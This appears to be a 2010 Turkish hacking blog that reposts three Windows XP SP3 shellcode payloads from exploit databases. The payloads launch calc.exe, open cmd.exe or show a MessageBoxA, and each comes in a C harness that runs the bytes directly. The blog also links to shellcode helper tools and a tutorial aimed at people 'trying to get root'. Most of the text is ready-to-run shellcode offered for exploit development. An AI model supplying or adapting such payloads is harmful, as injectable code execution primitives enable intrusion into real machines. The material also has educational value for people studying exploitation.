win32/xp sp3 (Tr) calc.exe Shellcode 53 bytes

http://inj3ct0r.com/exploits/14089
http://www.shell-storm.org/shellcode/files/shellcode-704.php

# Title        : win32/xp sp3 (Tr) calc.exe Shellcode 53 bytes
# Proof        : http://img178.imageshack.us/img178/548/proofxw.jpg
# Author       : ZoRLu / http://inj3ct0r.com/author/577
# mail-msn     : admin@yildirimordulari.com
# Home         : http://z0rlu.blogspot.com
# Date         : 15/09/2010
# Tesekkur     : inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N
# Temenni      : Yeni Anayasamiz Hayirli Olsun
# Lakirdi      : I dont know very well assembly. but, I know I will learn its too :P


#include 
#include 
#include 
 
int main(){
    
    unsigned char shellcode[]=
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x13\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x61\x6c\x63\x2e\x65"
    "\x78\x65";
 
    printf("Size = %d bytes\n", strlen(shellcode));
 
    ((void (*)())shellcode)();
 
    return 0;
}

win32/xp sp3 (Tr) cmd.exe Shellcode 52 bytes

http://inj3ct0r.com/exploits/14087
http://www.shell-storm.org/shellcode/files/shellcode-705.php

# Title        : win32/xp sp3 (Tr) cmd.exe Shellcode 52 bytes
# Proof        : http://img59.imageshack.us/img59/6499/proofc.png
# Author       : ZoRLu / http://inj3ct0r.com/author/577
# mail-msn     : admin@yildirimordulari.com
# Home         : http://z0rlu.blogspot.com
# Date         : 15/09/2010
# Tesekkur     : inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N
# Temenni      : Yeni Anayasamiz Hayirli Olsun
# Lakirdi      : I dont know very well assembly. but, I know I will learn its too :P


#include 
#include 
#include 
 
int main(){
    
    unsigned char shellcode[]=
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x12\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x6d\x64\x2e\x65\x78"
    "\x65";
 
    printf("Size = %d bytes\n", strlen(shellcode));
 
    ((void (*)())shellcode)();
 
    return 0;
}


# Inj3ct0r.com [2010-09-15]

arwin - odfhex download

shellcode vs ilgilenenler için kullanışlı iki materyal

arwin kullanımı:

arwin libname Funcname

örnek:

arwin kernel32.dll Sleep

yada

arwin kernel32 WinExec vs. vs.

odfhex kullanımı


odfhex file

örnek:

odfhex dosyamiz.txt

indir:

http://hotfile.com/dl/69956685/36cbe9f/arwin-odfhex.rar.html

win32/xp sp3 (Tr) MessageBoxA Shellcode 109 bytes

http://inj3ct0r.com/exploits/14079
http://www.packetstormsecurity.org/shellcode/mesboxa-shellcode.txt
https://www.shell-storm.org/shellcode/files/shellcode-703.php

/ blogspotun bok yemezliği kodlar net cıkmıyo direk linklerden bakın ;)



epeydir kurcalıyodum ama adam akıllı bu konuyla ilgii Türkçe tek bir döküman yada video bulamadım ya bilen yok yada bilipte anlatmayanlar çok bu konu içinde küçük bir projem var şu kpss olayı netleşsin. biraz assembly den cakmak lazım hatta biraz değil çok :( ee ben kurcaladım ve bi sonuca ulaştım ilerleyen günlerde shellcode yazma ile ilgili bi video cekerim ;)işte ilk yazdığım ilk shellcode:

http://inj3ct0r.com/exploits/14079

# Title    : win32/xp sp3 (Tr) MessageBoxA Shellcode 109 bytes
# Proof    : http://img443.imageshack.us/img443/7900/proofaz.jpg
# Author   : ZoRLu
# mail-msn : admin@yildirimordulari.com
# Home     : z0rlu.blogspot.com
# Date     : 14/09/2010
# Tesekkur : inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N
# Temenni  : Yeni Anayasamiz Hayirli Olsun
# Lakirdi  : I dont know very well assembly. but, I know I will learn its too :P


#include 
#include 
#include 
 
int main(){
    
    unsigned char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xd9\x31\xd2\xeb\x35\x59\x88\x51\x0a\xbb\x7b\x1d"
    "\x80\x7c\x51\xff\xd3\xeb\x37\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x30"
    "\xae\x80\x7c\xff\xd3\xeb\x37\x59\x31\xd2\x88\x51\x07\x52\x52\x51\x52"
    "\xff\xd0\x31\xd2\x50\xb8\xfa\xca\x81\x7c\xff\xd0\xe8\xc6\xff\xff\xff"
    "\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc4\xff\xff\xff\x4d"
    "\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc4\xff\xff\xff\x69"
    "\x74\x73\x20\x6f\x6b\x21\xff";
 
    printf("Size = %d bytes\n", strlen(shellcode));
 
    ((void (*)())shellcode)();
 
    return 0;
}


# Inj3ct0r.com [2010-09-14]

işte güzel bi döküman for shellcode

root olmak için shell yazmaya çalışanlara güzel bi döküman fakat ingilizce :( ama inanın çoğu türkçe dökümana taş çıkarır ;) hem google translate var artık işinizi kolaylaştırır ;) işte döküman:

http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html